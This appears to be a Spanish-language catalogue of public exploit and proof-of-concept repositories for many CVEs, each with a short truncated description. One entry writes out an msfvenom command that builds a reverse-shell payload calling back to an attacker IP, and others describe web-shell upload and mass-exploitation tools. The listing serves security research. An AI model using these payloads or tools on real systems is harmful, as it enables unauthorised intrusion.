Struts2-045-Exp

Struts2-045-Exp Script de explotación Struts2-045 Solo para uso de pruebas usage:python3 struts2-045-exp.py url cmd...

CVE-2019-7214

CVE-2019-7214 Exploit Title: SmarterMail...

meltdown

Prueba de concepto de Meltdown Este repositorio contiene varias aplicaciones que demuestran el error de Meltdown. Para obtener información técnica sobre el error, consulte el artículo: Meltdown de Lipp, Schwarz, Gruss, Prescher, Haas, Mangard, Kocher, Genkin, Yarom y Hamburg Las aplicaciones de...

CVE-2019-16113

Bludit 3.9.2 - Ejecución remota de comandos - CVE-2019-16113 Este exploit combina dos exploits en Bludit CMS 3.9.2 para obtener ejecución remota de código en el sistema objetivo. Los exploits originales son CVE-2019-17240 & CVE-2019-16113. Características Fuerza bruta de contraseña + RCE Fuerza...

CVE-2023-24249-PoC

CVE-2023-24249 PoC CVE-2023-24249 es una vulnerabilidad de carga arbitraria de archivos en laravel-admin v1.8.19. Esta prueba de concepto explota la vulnerabilidad para subir una web shell. El exploit fue escrito para usarse contra la máquina fácil Usage de HackTheBox. Ejemplo python3...

CVE-2018-20250

Configuración Video demo: https://youtu.be/5tuWsi1tGS0 Máquina VirtualBox: https://j2c.cc/virtualbox-machine Winrar 5.5 32bit: https://j2c.cc/winrar-550-32bit Procedimiento Kali: ip a msfvenom -p windows/meterpreter/reversetcp lport=1234 lhost=10.0.0.199 -f exe shell.exe Windows: git clone...

CVE-2025-26865

CVE-2025-26865: Inyección de plantillas del lado del servidor en FreeMarker a través del plugin "ecommerce" en Apache OfBiz Debido a una regresión entre 18.12.17 y 18.12.18, la corrección para el hallazgo CVE-2022-25813: Inyección de plantillas del lado del servidor en FreeMarker en Apache OfBiz...

CVE-2026-53595_exploit

CVE-2026-53595 + CVE-2026-53593 — ATO anónimo de FreeScout → RCE Ejecución remota de código sin autenticación en FreeScout ≤ 1.8.223 un sistema de help desk en Laravel mediante la combinación de dos fallos, ambos corregidos en 1.8.224 : CVE-2026-53595 — toma de cuenta anónima. POST...

CVE-2023-22518

CVE-2023-22518 Exploit para Confluence CVE-2023-22518 backup-restore RCE Endpoint POST /setup/setup-restore.action Requiere un inicio de sesión válido y derechos de administrador o un bypass de autenticación Archivos xmlexport-20231127-071916-1.zip – copia de seguridad vacía de Confluence...

Apache-Struts-CVE-2017-5638-RCE-Mass-Scanner

Apache-Struts-CVE-2017-5638-RCE-Mass-Scanner...

CVE-2025-56513-NiceHash-Update-Chain-Compromise

CVE-2025-56513 Vulnerabilidad Crítica en la Cadena de Suministro del Mecanismo de Actualización de NiceHash QuickMiner Autor: Prince T Philip Rol: Investigador de Seguridad Independiente Gravedad: CRÍTICO — CVSS 9.8 Impacto: Ejecución Remota de Código / Compromiso de la Cadena de Suministro Estad...

CVE_2020_35848

🧨 CVE‑2020‑35848 – Cockpit CMS 0.11.2 Laboratorio de inyección NoSQL RCE CVE‑2020‑35848 afecta a Agentejo Cockpit CMS en versiones anteriores a 0.11.2, introduciendo una vulnerabilidad crítica de inyección NoSQL en el endpoint /auth/newpassword. Este fallo permite a atacantes no autenticados...

Laravel-CVE-2018-15133

Laravel-CVE-2018-15133 Este script en Python te permitirá crear listas de sitios y explotarlos rápidamente. Requisitos previos: python curl Uso: $ python cve.py Ejecuta el script $ "¿Qué sitio quieres atacar? =" http:victime.com/ Añade el sitio a la lista $ chmod +x nikmok.txt da los permisos 777...

Mysql_CVE-2024-27766

Guía de Reproducción del Exploit versión afectada del producto MariaDB 11.1 Esta guía proporciona instrucciones paso a paso para reproducir un ataque de Función Definida por el Usuario UDF en un sistema de base de datos. Tenga en cuenta que este exploit puede funcionar en algunos sistemas, pero...

Spring4ShellPoC

Spring4ShellPoC PoC de Spring4Shell CVE-2022-22965 Solo jugando con el exploit. Modificado a partir del buen trabajo hecho por BobTheShopLifter, https://github.com/BobTheShoplifter/Spring4Shell-POC y TryHackMe, https://tryhackme.com/room/spring4shell Solo algunos ajustes. Añadí algunos bits extra...

Next.js-RCE-Scanner---CVE-2025-55182-CVE-2025-66478

🔍 Next.js RCE Scanner - CVE-2025-55182 & CVE-2025-66478 Un escáner potente y fácil de usar para detectar vulnerabilidades críticas de RCE en aplicaciones Next.js 🎯 Descripción general Un escáner avanzado de vulnerabilidades para detectar CVE-2025-55182 y CVE-2025-66478 : vulnerabilidades críticas...

CVE-2025-27520

CVE-2025-27520 exploit para CVE-2025-27520: una vulnerabilidad de ejecución remota de código RCE causada por deserialización insegura en la última versión v1.4.2 de BentoML. Permite a cualquier usuario no autenticado ejecutar código arbitrario en el servidor. Existe un segmento de código inseguro...

CVE-2026-14282

CVE-2026-14282 — Plugin GoDAM para WordPress RCE Autor: nullwhisper Caso de uso: solo investigación de seguridad autorizada / validación de vulnerabilidades. ¿Qué es esto? Las versiones = 1.12.2 del plugin GoDAM para WordPress registran un campo de WPForms llamado godamrecord. El gestor de subida...

CVE-2026-Pending-Django-Summernote-RCE

CVE-2026-XXXXX Pendiente: django-summernote Carga Arbitraria de Archivos RCE Este repositorio contiene una Prueba de Concepto PoC para una vulnerabilidad de Ejecución Remota de Código RCE Condicional descubierta en django-summernote versión 0.8.20.0 y anteriores. Detalles de la Vulnerabilidad...

CVE-2025-32433

CVE-2025-32433 – Vulnerabilidad RCE en SSH de Erlang/OTP 📌 Resumen CVE-2025-32433 es una vulnerabilidad de ejecución remota de código RCE que afecta al daemon SSH de Erlang/OTP. La causa raíz es el manejo inadecuado de solicitudes de canal SSH previas a la autenticación , que un atacante puede...